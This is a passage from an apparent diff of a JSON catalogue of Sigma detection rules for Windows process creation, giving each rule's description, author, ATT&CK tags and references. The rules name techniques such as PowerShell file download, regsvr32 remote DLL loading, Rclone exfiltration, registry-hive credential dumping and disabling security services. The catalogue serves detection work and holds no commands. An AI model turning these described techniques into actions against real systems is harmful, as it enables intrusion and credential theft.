"Florian Roth", - "creation_date": "2020/08/28", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_ps_downloadfile.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ps_downloadfile.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001", - "attack.command_and_control", - "attack.t1104", - "attack.t1105" - ] - }, - "uuid": "8f70ac5f-1f6f-4f8e-b454-db19561216c5", - "value": "PowerShell DownloadFile" - }, - { - "description": "Detects suspicious UTF16 and base64 encoded and often obfuscated PowerShell code often used in command lines", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/07/11", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_ps_encoded_obfusc.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ps_encoded_obfusc.yml", - "https://app.any.run/tasks/fcadca91-3580-4ede-aff4-4d2bf809bf99/" - ], - "tags": [ - "attack.defense_evasion" - ] - }, - "uuid": "8d01b53f-456f-48ee-90f6-bc28e67d4e35", - "value": "Suspicious PowerShell Obfuscated PowerShell Code" - }, - { - "description": "An adversary may use Radmin Viewer Utility to remotely control Windows device", - "meta": { - "author": "frack113", - "creation_date": "2022/01/22", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_radmin.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1072/T1072.md", - "https://www.radmin.fr/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_radmin.yml" - ], - "tags": [ - "attack.execution", - "attack.lateral_movement", - "attack.t1072" - ] - }, - "uuid": "5817e76f-4804-41e6-8f1d-5fa0b3ecae2d", - "value": "Use Radmin Viewer Utility" - }, - { - "description": "Detects the use of rar.exe, on the command line, to create an archive with password protection or with a specific compression level. This is pretty indicative of malicious actions.", - "meta": { - "author": "@ROxPinTeddy", - "creation_date": "2020/05/12", - "falsepositive": [ - "Legitimate use of Winrar command line version", - "Other command line tools, that use these flags" - ], - "filename": "proc_creation_win_susp_rar_flags.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://ss64.com/bash/rar.html", - "https://labs.sentinelone.com/the-anatomy-of-an-apt-attack-and-cobaltstrike-beacons-encoded-configuration/", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rar_flags.yml" - ], - "tags": [ - "attack.collection", - "attack.t1560.001" - ] - }, - "uuid": "faa48cae-6b25-4f00-a094-08947fef582f", - "value": "Rar Usage with Password and Compression Level" - }, - { - "description": "Detects suspicious process related to rasdial.exe", - "meta": { - "author": "juju4", - "creation_date": "2019/01/16", - "falsepositive": [ - "False positives depend on scripts and administrative tools used in the monitored environment" - ], - "filename": "proc_creation_win_susp_rasdial_activity.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/subTee/status/891298217907830785", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rasdial_activity.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.execution", - "attack.t1059" - ] - }, - "uuid": "6bba49bf-7f8c-47d6-a1bb-6b4dece4640e", - "value": "Suspicious RASdial Activity" - }, - { - "description": "Detects a explorer.exe sub process of the RazerInstaller software which can be invoked from the installer to select a different installation folder but can also be exploited to escalate privileges to LOCAL SYSTEM", - "meta": { - "author": "Florian Roth, Maxime Thiebaut", - "creation_date": "2021/08/23", - "falsepositive": [ - "User selecting a different installation folder (check for other sub processes of this explorer.exe process)" - ], - "filename": "proc_creation_win_susp_razorinstaller_explorer.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/j0nh4t/status/1429049506021138437", - "https://streamable.com/q2dsji", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_razorinstaller_explorer.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1553" - ] - }, - "uuid": "a4eaf250-7dc1-4842-862a-5e71cd59a167", - "value": "Suspicious RazerInstaller Explorer Subprocess" - }, - { - "description": "Detects execution of RClone utility for exfiltration as used by various ransomwares strains like REvil, Conti, FiveHands, etc", - "meta": { - "author": "Bhabesh Raj, Sittikorn S, Aaron Greetham (@beardofbinary) - NCC Group", - "creation_date": "2021/05/10", - "falsepositive": [ - "Legitimate RClone use" - ], - "filename": "proc_creation_win_susp_rclone_execution.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rclone_execution.yml", - "https://research.nccgroup.com/2021/05/27/detecting-rclone-an-effective-tool-for-exfiltration/", - "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware", - "https://www.splunk.com/en_us/blog/security/darkside-ransomware-splunk-threat-update-and-detections.html", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-126a", - "https://labs.sentinelone.com/egregor-raas-continues-the-chaos-with-cobalt-strike-and-rclone" - ], - "tags": [ - "attack.exfiltration", - "attack.t1567.002" - ] - }, - "uuid": "e37db05d-d1f9-49c8-b464-cee1a4b11638", - "value": "Rclone Execution via Command Line or PowerShell" - }, - { - "description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data.", - "meta": { - "author": "frack113", - "creation_date": "2021/07/30", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_recon.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_recon.yml", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1119/T1119.md" - ], - "tags": [ - "attack.collection", - "attack.t1119" - ] - }, - "uuid": "aa2efee7-34dd-446e-8a37-40790a66efd7", - "value": "Recon Information for Export with Command Prompt" - }, - { - "description": "Detects a set of suspicious network related commands often used in recon stages", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/02/07", - "falsepositive": [ - "False positives depend on scripts and administrative tools used in the monitored environment" - ], - "filename": "proc_creation_win_susp_recon_network_activity.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_recon_network_activity.yml", - "https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/" - ], - "tags": [ - "attack.discovery", - "attack.t1087", - "attack.t1082", - "car.2016-03-001" - ] - }, - "uuid": "e6313acd-208c-44fc-a0ff-db85d572e90e", - "value": "Network Reconnaissance Activity" - }, - { - "description": "Detects a regedit started with TrustedInstaller privileges or by ProcessHacker.exe", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/05/27", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_susp_regedit_trustedinstaller.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_regedit_trustedinstaller.yml", - "https://twitter.com/1kwpeter/status/1397816101455765504" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1548" - ] - }, - "uuid": "883835a7-df45-43e4-bf1d-4268768afda4", - "value": "Regedit as Trusted Installer" - }, - { - "description": "Detects using register-cimprovider.exe to execute arbitrary dll file.", - "meta": { - "author": "Ivan Dyachkov, Yulia Fomina, oscd.community", - "creation_date": "2020/10/07", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_register_cimprovider.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Register-cimprovider/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_register_cimprovider.yml", - "https://twitter.com/PhilipTsukerman/status/992021361106268161" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1574" - ] - }, - "uuid": "a2910908-e86f-4687-aeba-76a5f996e652", - "value": "DLL Execution Via Register-cimprovider.exe" - }, - { - "description": "Detects when the registration of a VSS/VDS Provider as a COM+ application.", - "meta": { - "author": "Austin Songer @austinsonger", - "creation_date": "2021/11/05", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_registration_via_cscript.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://ss64.com/vb/cscript.html", - "https://twitter.com/sblmsrsn/status/1456613494783160325?s=20", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_registration_via_cscript.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218" - ] - }, - "uuid": "28c8f68b-098d-45af-8d43-8089f3e35403", - "value": "Suspicious Registration via cscript.exe" - }, - { - "description": "Detects various anomalies in relation to regsvr32.exe", - "meta": { - "author": "Florian Roth, oscd.community, Tim Shelton", - "creation_date": "2019/01/16", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_regsvr32_anomalies.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_regsvr32_anomalies.yml", - "https://subt0x10.blogspot.de/2017/04/bypass-application-whitelisting-script.html", - "https://app.any.run/tasks/34221348-072d-4b70-93f3-aa71f6ebecad/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.010", - "car.2019-04-002", - "car.2019-04-003" - ] - }, - "uuid": "8e2b24c9-4add-46a0-b4bb-0057b4e6187d", - "value": "Regsvr32 Anomaly" - }, - { - "description": "Detects a flag anomaly in which regsvr32.exe uses a /i flag without using a /n flag at the same time", - "meta": { - "author": "Florian Roth", - "creation_date": "2019/07/13", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_regsvr32_flags_anomaly.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/sbousseaden/status/1282441816986484737?s=12", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_regsvr32_flags_anomaly.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.010" - ] - }, - "uuid": "b236190c-1c61-41e9-84b3-3fe03f6d76b0", - "value": "Regsvr32 Flags Anomaly" - }, - { - "description": "Detects a certain command line flag combination used by regsvr32 when used to download and register a DLL from a remote address which uses HTTP (not HTTPS) and a IP address and not FQDN", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/01/11", - "falsepositive": [ - "FQDNs that start with a number" - ], - "filename": "proc_creation_win_susp_regsvr32_http_pattern.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/tccontre18/status/1480950986650832903", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_regsvr32_http_pattern.yml", - "https://twitter.com/mrd0x/status/1461041276514623491c19-ps" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.010" - ] - }, - "uuid": "2dd2c217-bf68-437a-b57c-fe9fd01d5de8", - "value": "Suspicious Regsvr32 HTTP IP Pattern" - }, - { - "description": "Detects execution of REGSVR32.exe with DLL masquerading as image files", - "meta": { - "author": "frack113", - "creation_date": "2021/11/29", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_regsvr32_image.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://guides.lib.umich.edu/c.php?g=282942&p=1885348", - "https://blog.talosintelligence.com/2021/10/threat-hunting-in-large-datasets-by.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_regsvr32_image.yml", - "https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.010" - ] - }, - "uuid": "089fc3d2-71e8-4763-a8a5-c97fbb0a403e", - "value": "Suspicious Regsvr32 Execution With Image Extension" - }, - { - "description": "Detects a regsvr.exe execution that doesn't contain a DLL in the command line", - "meta": { - "author": "Florian Roth", - "creation_date": "2019/07/17", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_regsvr32_no_dll.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_regsvr32_no_dll.yml", - "https://app.any.run/tasks/34221348-072d-4b70-93f3-aa71f6ebecad/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1574", - "attack.execution" - ] - }, - "uuid": "50919691-7302-437f-8e10-1fe088afa145", - "value": "Regsvr32 Command Line Without DLL" - }, - { - "description": "Detects REGSVR32.exe to execute DLL hosted on remote shares", - "meta": { - "author": "Nasreddine Bencherchali", - "creation_date": "2022/10/31", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_regsvr32_remote_share.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://thedfirreport.com/2022/10/31/follina-exploit-leads-to-domain-compromise/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_regsvr32_remote_share.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.010" - ] - }, - "uuid": "88a87a10-384b-4ad7-8871-2f9bf9259ce5", - "value": "Suspicious Regsvr32 Execution From Remote Share" - }, - { - "description": "Detects \"regsvr32.exe\" spawning \"explorer.exe\", which is very uncommon.", - "meta": { - "author": "elhoim", - "creation_date": "2022/05/05", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_regsvr32_spawn_explorer.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.echotrail.io/insights/search/regsvr32.exe", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_regsvr32_spawn_explorer.yml", - "https://redcanary.com/blog/intelligence-insights-april-2022/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.010" - ] - }, - "uuid": "6f0947a4-1c5e-4e0d-8ac7-53159b8f23ca", - "value": "Regsvr32 Spawning Explorer" - }, - { - "description": "Detects when an adversary uses the reg.exe utility to add or modify new keys or subkeys", - "meta": { - "author": "frack113, Nasreddine Bencherchali", - "creation_date": "2022/08/19", - "falsepositive": [ - "Rare legitimate add to registry via cli (to these locations)" - ], - "filename": "proc_creation_win_susp_reg_add.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1562.001/T1562.001.md", - "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/", - "https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1112/T1112.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_reg_add.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1112", - "attack.t1562.001" - ] - }, - "uuid": "b7e2a8d4-74bb-4b78-adc9-3f92af2d4829", - "value": "Reg Add Suspicious Paths" - }, - { - "description": "Detects suspicious addition to BitLocker related registry keys via the reg.exe utility", - "meta": { - "author": "frack113", - "creation_date": "2021/11/15", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_susp_reg_bitlocker.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_reg_bitlocker.yml", - "https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/" - ], - "tags": [ - "attack.impact", - "attack.t1486" - ] - }, - "uuid": "0e0255bf-2548-47b8-9582-c0955c9283f5", - "value": "Suspicious Reg Add BitLocker" - }, - { - "description": "Detects a suspicious reg.exe invocation that looks as if it would disable an important security service", - "meta": { - "author": "Florian Roth, John Lambert (idea), elhoim", - "creation_date": "2021/07/14", - "falsepositive": [ - "Unknown", - "Other security solution installers" - ], - "filename": "proc_creation_win_susp_reg_disable_sec_services.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/gordonbay/Windows-On-Reins/blob/e587ac7a0407847865926d575e3c46f68cf7c68d/wor.ps1", - "https://vms.drweb.fr/virus/?i=24144899", - "https://bidouillesecurity.com/disable-windows-defender-in-powershell/", - "https://twitter.com/JohnLaTwC/status/1415295021041979392", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_reg_disable_sec_services.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.001" - ] - }, - "uuid": "5e95028c-5229-4214-afae-d653d573d0ec", - "value": "Reg Disable Security Service" - }, - { - "description": "Threat actors performed dumping of SAM, SECURITY and SYSTEM registry hives using DelegateExecute key", - "meta": { - "author": "frack113", - "creation_date": "2021/12/20", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_reg_open_command.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://thedfirreport.com/2021/12/13/diavol-ransomware/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_reg_open_command.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1003" - ] - }, - "uuid": "dd3ee8cc-f751-41c9-ba53-5a32ed47e563", - "value": "Suspicious Reg Add Open Command" - }, - { - "description": "Detects the use of a renamed Adfind.exe. AdFind continues to be seen across majority of breaches. It is used to domain trust discovery to plan out subsequent steps in the attack chain.", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/08/21", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_renamed_adfind.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://thedfirreport.com/2021/01/11/trickbot-still-alive-and-well/", - "https://social.technet.microsoft.com/wiki/contents/articles/7535.adfind-command-examples.aspx", - "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", - "https://github.com/center-for-threat-informed-defense/adversary_emulation_library/blob/bf62ece1c679b07b5fb49c4bae947fe24c81811f/fin6/Emulation_Plan/Phase1.md", - "https://thedfirreport.com/2020/05/08/adfind-recon/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_renamed_adfind.yml", - "https://www.joeware.net/freetools/tools/adfind/" - ], - "tags": [ - "attack.discovery", - "attack.t1018", - "attack.t1087.002", - "attack.t1482", - "attack.t1069.002" - ] - }, - "uuid": "df55196f-f105-44d3-a675-e9dfb6cc2f2b", - "value": "Renamed AdFind Detection" - }, - { - "description": "Detects uses of a renamed legitimate createdump.exe LOLOBIN utility to dump process memory", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/09/20", - "falsepositive": [ - "Command lines that use the same flags" - ], - "filename": "proc_creation_win_susp_renamed_createdump.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_renamed_createdump.yml", - "https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/", - "https://twitter.com/bopin2020/status/1366400799199272960" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036", - "attack.t1003.001" - ] - }, - "uuid": "1a1ed54a-2ba4-4221-94d5-01dee560d71e", - "value": "Renamed CreateDump Process Dump" - }, - { - "description": "Detects a renamed dctask64.exe used for process injection, command execution, process creation with a signed binary by ZOHO Corporation", - "meta": { - "author": "Florian Roth", - "creation_date": "2020/01/28", - "falsepositive": [ - "Unknown yet" - ], - "filename": "proc_creation_win_susp_renamed_dctask64.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/gN3mes1s/status/1222088214581825540", - "https://twitter.com/gN3mes1s/status/1222095963789111296", - "https://twitter.com/gN3mes1s/status/1222095371175911424", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_renamed_dctask64.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036", - "attack.t1055.001", - "attack.t1202", - "attack.t1218" - ] - }, - "uuid": "340a090b-c4e9-412e-bb36-b4b16fe96f9b", - "value": "Renamed ZOHO Dctask64" - }, - { - "description": "Detects suspicious renamed SysInternals DebugView execution", - "meta": { - "author": "Florian Roth", - "creation_date": "2020/05/28", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_renamed_debugview.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.epicturla.com/blog/sysinturla", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_renamed_debugview.yml" - ], - "tags": [ - "attack.resource_development", - "attack.t1588.002" - ] - }, - "uuid": "cd764533-2e07-40d6-a718-cfeec7f2da7f", - "value": "Renamed SysInternals Debug View" - }, - { - "description": "Detects execution of renamed version of PAExec. Often used by attackers", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/05/22", - "falsepositive": [ - "Weird admins that rename their tools", - "Software companies that bundle PAExec with their software and rename it, so that it is less embarrassing", - "When executed with the \"-s\" flag. PAExec will copy itself to the \"C:\\Windows\\\" directory with a different name. Usually like this \"PAExec-[XXXXX]-[ComputerName]\"" - ], - "filename": "proc_creation_win_susp_renamed_paexec.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_renamed_paexec.yml", - "https://www.poweradmin.com/paexec/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1202" - ] - }, - "uuid": "c4e49831-1496-40cf-8ce1-b53f942b02f9", - "value": "Renamed PAExec" - }, - { - "description": "Detects using Rpcping.exe to send a RPC test connection to the target server (-s) and force the NTLM hash to be sent in the process.", - "meta": { - "author": "Julia Fomina, oscd.community", - "creation_date": "2020/10/09", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_susp_rpcping.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Rpcping/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rpcping.yml", - "https://twitter.com/vysecurity/status/873181705024266241", - "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh875578(v=ws.11)", - "https://twitter.com/vysecurity/status/974806438316072960" - ], - "tags": [ - "attack.credential_access", - "attack.t1003" - ] - }, - "uuid": "93671f99-04eb-4ab4-a161-70d446a84003", - "value": "Capture Credentials with Rpcping.exe" - }, - { - "description": "Detects suspicious process related to rundll32 based on arguments", - "meta": { - "author": "juju4, Jonhnathan Ribeiro, oscd.community, Nasreddine Bencherchali", - "creation_date": "2019/01/16", - "falsepositive": [ - "False positives depend on scripts and administrative tools used in the monitored environment" - ], - "filename": "proc_creation_win_susp_rundll32_activity.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/eral4m/status/1479080793003671557", - "https://gist.github.com/ryhanson/227229866af52e2d963cf941af135a52", - "https://twitter.com/nas_bench/status/1433344116071583746", - "https://twitter.com/Hexacorn/status/885258886428725250", - "https://twitter.com/eral4m/status/1479106975967240209", - "http://www.hexacorn.com/blog/2017/05/01/running-programs-via-proxy-jumping-on-a-edr-bypass-trampoline/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_activity.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.011" - ] - }, - "uuid": "e593cf51-88db-4ee1-b920-37e89012a3c9", - "value": "Suspicious Rundll32 Activity" - }, - { - "description": "Detects suspicious calls of DLLs in rundll32.dll exports by ordinal", - "meta": { - "author": "Florian Roth", - "creation_date": "2019/10/22", - "falsepositive": [ - "False positives depend on scripts and administrative tools used in the monitored environment", - "Windows control panel elements have been identified as source (mmc)" - ], - "filename": "proc_creation_win_susp_rundll32_by_ordinal.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/cyb3rops/status/1186631731543236608", - "https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine/", - "https://techtalk.pcmatic.com/2017/11/30/running-dll-files-malware-analysis/", - "https://github.com/Neo23x0/DLLRunner", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_by_ordinal.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.011" - ] - }, - "uuid": "e79a9e79-eb72-4e78-a628-0e7e8f59e89c", - "value": "Suspicious Call by Ordinal" - }, - { - "description": "Detects suspicious process related to rundll32 based on command line that invokes inline VBScript as seen being used by UNC2452", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/03/05", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_susp_rundll32_inline_vbs.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_inline_vbs.yml", - "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1055" - ] - }, - "uuid": "1cc50f3f-1fc8-4acf-b2e9-6f172e1fdebd", - "value": "Suspicious Rundll32 Invoking Inline VBScript" - }, - { - "description": "Detects suspicious command line patterns used when rundll32 is used to run JavaScript code", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/01/14", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_susp_rundll32_js_runhtmlapplication.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "http://hyp3rlinx.altervista.org/advisories/MICROSOFT_WINDOWS_DEFENDER_DETECTION_BYPASS.txt", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_js_runhtmlapplication.yml" - ], - "tags": [ - "attack.defense_evasion" - ] - }, - "uuid": "9f06447a-a33a-4cbe-a94f-a3f43184a7a3", - "value": "Rundll32 JS RunHTMLApplication Pattern" - }, - { - "description": "Detects the invocation of the Stored User Names and Passwords dialogue (Key Manager)", - "meta": { - "author": "Florian Roth", - "creation_date": "2022/04/21", - "falsepositive": [ - "Administrative activity" - ], - "filename": "proc_creation_win_susp_rundll32_keymgr.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/NinjaParanoid/status/1516442028963659777", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_keymgr.yml" - ], - "tags": [ - "attack.credential_access", - "attack.t1555.004" - ] - }, - "uuid": "a4694263-59a8-4608-a3a0-6f8d3a51664c", - "value": "Suspicious Key Manager Access" - }, - { - "description": "Detects suspicious start of rundll32.exe without any parameters as found in CobaltStrike beacon activity", - "meta": { - "author": "Florian Roth", - "creation_date": "2021/05/27", - "falsepositive": [ - "Possible but rare" - ], - "filename": "proc_creation_win_susp_rundll32_no_params.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.cobaltstrike.com/help-opsec", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_no_params.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1202" - ] - }, - "uuid": "1775e15e-b61b-4d14-a1a3-80981298085a", - "value": "Suspicious Rundll32 Without Any CommandLine Params" - }, - { - "description": "Detects suspicious process related to rundll32 based on arguments", - "meta": { - "author": "frack113", - "creation_date": "2021/12/04", - "falsepositive": [ - "False positives depend on scripts and administrative tools used in the monitored environment" - ], - "filename": "proc_creation_win_susp_rundll32_script_run.yml", - "level": "medium", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://gist.github.com/ryhanson/227229866af52e2d963cf941af135a52", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.011/T1218.011.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_script_run.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.011" - ] - }, - "uuid": "73fcad2e-ff14-4c38-b11d-4172c8ac86c7", - "value": "Suspicious Rundll32 Script in CommandLine" - }, - { - "description": "setupapi.dll library provide InstallHinfSection function for processing INF files. 